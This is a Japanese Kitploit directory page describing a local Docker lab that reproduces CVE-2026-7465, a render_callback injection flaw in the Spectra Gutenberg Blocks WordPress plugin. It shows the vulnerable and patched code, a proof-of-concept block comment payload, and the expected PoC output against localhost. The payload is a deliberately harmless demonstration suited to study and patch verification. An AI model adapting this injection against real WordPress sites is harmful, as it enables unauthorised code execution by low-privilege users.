Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-7465-Lab — Spectra Gutenberg Blocks WordPressプラグインのCVE-2026-7465を分析・再現するためのローカルDockerラボ。render_callbackインジェクションを実証する最小被害のPoCを用いて、脆弱バージョンと修正バージョンを比較します。 | Kitploit
ツール/GitHubGitHub/rootdirective-sec/cve-2026-7465-lab
脆弱性分析エクスプロイトウェブアプリケーション悪用CTF学習と教育ラボと実践
GitHubrootdirective-sec/cve-2026-7465-lab

CVE-2026-7465-Lab

Spectra Gutenberg Blocks WordPressプラグインのCVE-2026-7465を分析・再現するためのローカルDockerラボ。render_callbackインジェクションを実証する最小被害のPoCを用いて、脆弱バージョンと修正バージョンを比較します。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
2ヶ月前未レビュー

CVE-2026-7465 - Spectra Gutenberg Blocks ローカルラボ

WordPressプラグイン Spectra Gutenberg Blocks (ultimate-addons-for-gutenberg) における CVE-2026-7465 を分析・再現するためのローカルDockerラボです。

このラボでは以下を比較します:

  • vuln: Spectra 2.19.25
  • patched: Spectra 2.19.26

このPoCは意図的に最小限の影響にとどめています。シェルコマンドの実行、ファイルのアップロード、ユーザーの作成、コンテナの直接変更は行いません。一時的なWordPress下書き投稿を作成し、レンダリングされたブロックの動作を確認した後、その下書きを削除します。


概要

CVE-2026-7465 は、ユーザーが制御するGutenbergブロック属性がWordPressのブロック登録引数に渡される可能性があるSpectra Gutenberg Blocksの脆弱性です。

脆弱なバージョンでは、Spectraは投稿コンテンツのブロック属性を使用して、解析された uagb/* ブロックを動的に登録します。

root@kitploit:~
$registry->register( $block['blockName'], $block['attrs'] );

ContributorはGutenbergブロックコメントを含む投稿コンテンツを作成できるため、認証されたContributorレベルのユーザーが render_callback などの登録引数に影響を与えることができます。

バージョン 2.19.26 では、空の引数配列でブロックを登録することで問題を修正しています。

root@kitploit:~
$registry->register( $block['blockName'], array() );

これにより、投稿によって制御されたブロック属性がPHPブロック登録オプションになるのを防ぎます。


影響を受けるコンポーネント

製品:

root@kitploit:~
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg

このラボで使用するバージョン:

root@kitploit:~
vulnerable: 2.19.25
patched:    2.19.26

WordPress.orgの 2.19.26 の変更ログには、このアップデートがセキュリティバグに対処したこと、およびWordfenceが責任ある報告を行ったことが記載されています。


根本原因

脆弱なロジックは以下にあります:

root@kitploit:~
classes/class-uagb-init-blocks.php

脆弱なコードは、解析されたブロック名に uagb/ 名前空間が含まれているかどうかをチェックします。ブロックがまだ登録されていない場合、動的にブロックを登録します。

脆弱な動作

root@kitploit:~
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {

    $registry = WP_Block_Type_Registry::get_instance();

    if ( ! $registry->is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], $block['attrs'] );
    }
}

問題は2番目の引数です:

root@kitploit:~
$block['attrs']

Gutenbergでは、ブロック属性は投稿コンテンツ内に保存できます。例:

root@kitploit:~
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->

Contributorは下書き投稿コンテンツを作成できます。したがって、攻撃者は $block['attrs'] に影響を与えることができます。

これらの属性が WP_Block_Type_Registry::register() に渡されると、ブロック登録引数になります。重要な登録引数の1つは:

root@kitploit:~
render_callback

これにより、コールバック制御のプリミティブが作成されます。

パッチ適用後の動作

2.19.26 では、Spectraは依然として解析された uagb/* ブロック名を登録しますが、投稿によって制御された属性を登録引数として渡さなくなりました:

root@kitploit:~
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {

    $registry = WP_Block_Type_Registry::get_instance();

    if ( ! $registry->is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], array() );
    }
}

重要な変更点は:

root@kitploit:~
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );

これにより、攻撃者が制御する属性がブロック登録パスから削除されます。


PoCが maybe_serialize を使用する理由

PoCは system, exec, shell_exec, passthru などの危険なPHPコールバックを使用しません。

代わりに以下を使用します:

root@kitploit:~
maybe_serialize

証明ブロックのコンテンツは:

root@kitploit:~
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->

期待される動作:

root@kitploit:~
vulnerable:
  render_callback from block attrs is accepted
  marker appears in rendered content

patched:
  render_callback from block attrs is ignored
  marker does not appear in rendered content

これにより、コマンドの実行やファイルの書き込みを行わずに脆弱な動作を証明します。


ラボのアーキテクチャ

サービス:

root@kitploit:~
db_vuln      MariaDB for vulnerable WordPress
db_patched   MariaDB for patched WordPress
vuln         WordPress + Spectra 2.19.25
patched      WordPress + Spectra 2.19.26
seed_vuln    one-shot WordPress setup for vulnerable site
seed_patched one-shot WordPress setup for patched site

ローカルポート:

root@kitploit:~
http://127.0.0.1:8181 -> vulnerable WordPress
http://127.0.0.1:8182 -> patched WordPress

初期設定されたWordPressユーザー:

root@kitploit:~
username: contributor
password: contributorpass123!
role:     contributor

PoCはHTTPのみを使用します。ログインとREST APIリクエストを通じてWordPressとやり取りします。


リポジトリ構造

root@kitploit:~
.
├── docker-compose.yml
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
├── scripts
│   └── seed-wordpress.sh
├── vuln
│   └── Dockerfile

ラボの実行

クリーンな環境から開始:

root@kitploit:~
docker compose down -v --remove-orphans
docker compose up -d --build

コンテナを確認:

root@kitploit:~
docker compose ps

シードログを確認:

root@kitploit:~
docker compose logs seed_vuln seed_patched

期待されるシード結果:

root@kitploit:~
[+] seed vuln: done
[+] seed patched: done

PoCの実行

脆弱なターゲットをテスト:

root@kitploit:~
python3 poc/poc.py -t http://127.0.0.1:8181

期待される脆弱な判定:

root@kitploit:~
[VERDICT]
  VULNERABLE_BEHAVIOR_OBSERVED

パッチ適用済みターゲットをテスト:

root@kitploit:~
python3 poc/poc.py -t http://127.0.0.1:8182

期待されるパッチ適用済み判定:

root@kitploit:~
[VERDICT]
  PATCHED_BEHAVIOR_OBSERVED

期待される出力

脆弱 - Spectra 2.19.25

root@kitploit:~
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181

[INFO] fingerprinting target
  spectra_stable_tag: 2.19.25
  spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content

[EVIDENCE]
  raw_contains_marker:      True
  rendered_contains_marker: True
  rendered_length:          227
  proof_callback:           maybe_serialize
  synthetic_block:          uagb/cve-2026-7465-lab

[VERDICT]
  VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete

パッチ適用済み - Spectra 2.19.26

root@kitploit:~
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182

[INFO] fingerprinting target
  spectra_stable_tag: 2.19.26
  spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content

[EVIDENCE]
  raw_contains_marker:      True
  rendered_contains_marker: False
  rendered_length:          1
  proof_callback:           maybe_serialize
  synthetic_block:          uagb/cve-2026-7465-lab

[VERDICT]
  PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete

証拠の解釈

重要な比較は:

root@kitploit:~
raw_contains_marker
rendered_contains_marker

脆弱なターゲットとパッチ適用済みターゲットの両方で次の表示が期待されます:

root@kitploit:~
raw_contains_marker: True

これにより、同じブロックコンテンツが一時的な下書き投稿に正常に保存されたことが確認されます。

違いはレンダリング出力にあります:

root@kitploit:~
vulnerable:
  rendered_contains_marker: True

patched:
  rendered_contains_marker: False

これは、脆弱なバージョンが投稿によって制御された render_callback を受け入れたのに対し、パッチ適用済みバージョンは受け入れなかったことを示しています。

クリーンアップ

コンテナ、ネットワーク、ボリュームを停止・削除:

root@kitploit:~
docker compose down -v --remove-orphans

Pythonキャッシュがある場合は削除:

root@kitploit:~
rm -rf poc/__pycache__

安全に関する注意事項

このリポジトリはローカルでのセキュリティ研究とポートフォリオのデモンストレーションのみを目的としています。

PoCは:

  • localhostまたはループバックアドレスのみをターゲットにする
  • ローカルラボで認証済みWordPressアクセスを使用する
  • 一時的な下書き投稿を作成する
  • レンダリング動作を確認した後に下書き投稿を削除する
  • シェルコマンドを実行しない
  • ファイルをアップロードしない
  • ユーザーを作成しない
  • Dockerコンテナを直接変更しない
  • リモート悪用ワークフローを提供しない

所有していない、または明示的なテスト許可を得ていないシステムに対してこれを実行しないでください。


参考文献

  • WordPress.org プラグインページ: Spectra Gutenberg Blocks - Website Builder for the Block Editor
    https://wordpress.org/plugins/ultimate-addons-for-gutenberg/

  • WordPress.org 変更ログ: 2.19.26 - Monday, 4th May 2026 セキュリティアップデート(Wordfenceにクレジット)
    https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers

  • WordPress プラグイン SVN / Trac
    https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/

ツールをダウンロード